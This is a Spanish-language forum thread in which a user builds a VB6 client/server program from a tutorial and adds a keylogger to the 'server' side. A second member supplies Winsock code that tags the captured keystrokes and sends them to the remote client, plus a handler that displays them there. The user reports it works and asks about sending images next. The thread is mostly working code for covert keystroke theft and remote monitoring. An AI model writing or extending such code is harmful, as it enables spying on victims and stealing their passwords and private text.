Ayuda aplicación cliente/servidor VB 6.0

[clanctkvolde123]

Hola buenas, ando programando una aplicación Cliente/servidor con multiconexiones gracias a un tutorial encontrado en esta página. (War ghost)
A la hora de agregarle funciones es donde me surge el problema. Espero, que me pudierais ayudar.
En la llegada de datos del tutorial consta lo siguiente:

Código (vb) [Seleccionar] Expandir

Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim data As String 'Declaracion
Dim vData As Variant 'Declaracion
Dim pr
Dim cmsgsep As Long 'Declaracion
ws(index).GetData data
vData = Split(data, "|")
Select Case vData(0)
Case "Conexion" 'Cose de conexion
Set pr = Listconexion.ListItems.Add(, index & "|", vData(1)) 'Agreamos una nueva conexion a listview
pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
pr.SubItems(2) = vData(3) & "/" & vData(4)
pr.SubItems(3) = vData(5)
pr.SubItems(4) = vData(6)
End select
End sub


Por lo tanto, cuando el servidor (index) envie conexion se rellenarán los campos del listbox con sus datos, hasta ahi todo correcto.
El problema es que he añadido al server un keylogger muy rudimentario, simplemente un texbox que recoge todo lo que teclea el ordenador, mi duda es la siguiente.
¿Como puedo configurar el server para que envie el contenido del texbox al cliente y este lo recoga en otro textbox del cliente?
Entiendo que será declarar en el server una variable que contenga el contenido del texbox.

Código (vb) [Seleccionar] Expandir

Dim variable1 as string
variable = text1.text
Ws.senddata variable

Pero el problema es que no se configurar el cliente para que este lo reciba y lo aplique en el texbox.
Saludos y gracias por vuestro tiempo.

MOD: Etiquetas GeSHi.

[fary]

Ya que en el DataArrival tienes un filtro  con un Select Case tendrás que enviar los datos de la siguiente manera:

Código (vb) [Seleccionar] Expandir

    Dim variable1 as string
    variable = "KEY|" ' Esto es para el filtro, que sepa el servidor que es para el keylogger
    variable = variable & text1.text
    Ws.senddata variable

Y en el servidor lo tendrías que modificar un poco:

Código (vb) [Seleccionar] Expandir

    Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
    Dim data As String 'Declaracion
    Dim vData As Variant 'Declaracion
    Dim pr
    Dim cmsgsep As Long 'Declaracion
    ws(index).GetData data
    vData = Split(data, "|")
    Select Case vData(0)
    Case "Conexion" 'Cose de conexion
    Set pr = Listconexion.ListItems.Add(, index & "|", vData(1)) 'Agreamos una nueva conexion a listview
    pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
    pr.SubItems(2) = vData(3) & "/" & vData(4)
    pr.SubItems(3) = vData(5)
    pr.SubItems(4) = vData(6)

        case "KEY" ' La clave que pusimos para el keylogger
            text1.text = vData(1) ' Ponemos los datos en el TextBox
    End select
    End sub


El código no se si funciona porque lo he ido poniendo sobre la marcha pero la idea es esa.

saludos.

[clanctkvolde123]

Ya que en el DataArrival tienes un filtro  con un Select Case tendrás que enviar los datos de la siguiente manera:

Código (vb) [Seleccionar] Expandir

    Dim variable1 as string
    variable = "KEY|" ' Esto es para el filtro, que sepa el servidor que es para el keylogger
    variable = variable & text1.text
    Ws.senddata variable

Y en el servidor lo tendrías que modificar un poco:

Código (vb) [Seleccionar] Expandir

    Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
    Dim data As String 'Declaracion
    Dim vData As Variant 'Declaracion
    Dim pr
    Dim cmsgsep As Long 'Declaracion
    ws(index).GetData data
    vData = Split(data, "|")
    Select Case vData(0)
    Case "Conexion" 'Cose de conexion
    Set pr = Listconexion.ListItems.Add(, index & "|", vData(1)) 'Agreamos una nueva conexion a listview
    pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
    pr.SubItems(2) = vData(3) & "/" & vData(4)
    pr.SubItems(3) = vData(5)
    pr.SubItems(4) = vData(6)

        case "KEY" ' La clave que pusimos para el keylogger
            text1.text = vData(1) ' Ponemos los datos en el TextBox
    End select
    End sub


El código no se si funciona porque lo he ido poniendo sobre la marcha pero la idea es esa.

saludos.

Gracias por la ayuda, voy a probar y te comento.
Tengo otro post por aqui, agradeceria que le echases un vistazo a ver si tienes alguna idea.

[clanctkvolde123]

Funciona perfectamente, muchas gracias, jeje, me preguntaba si a traves de la misma formula podrian enviarse imagenes para ponerlas en un picturebox?

[fary]

Funciona perfectamente, muchas gracias, jeje, me preguntaba si a traves de la misma formula podrian enviarse imagenes para ponerlas en un picturebox?

No, una imagen la tienes que enviar por fragmentos, como si fuera un archivo, luego guardarla en el disco y ya si, mostrarla.

saludos.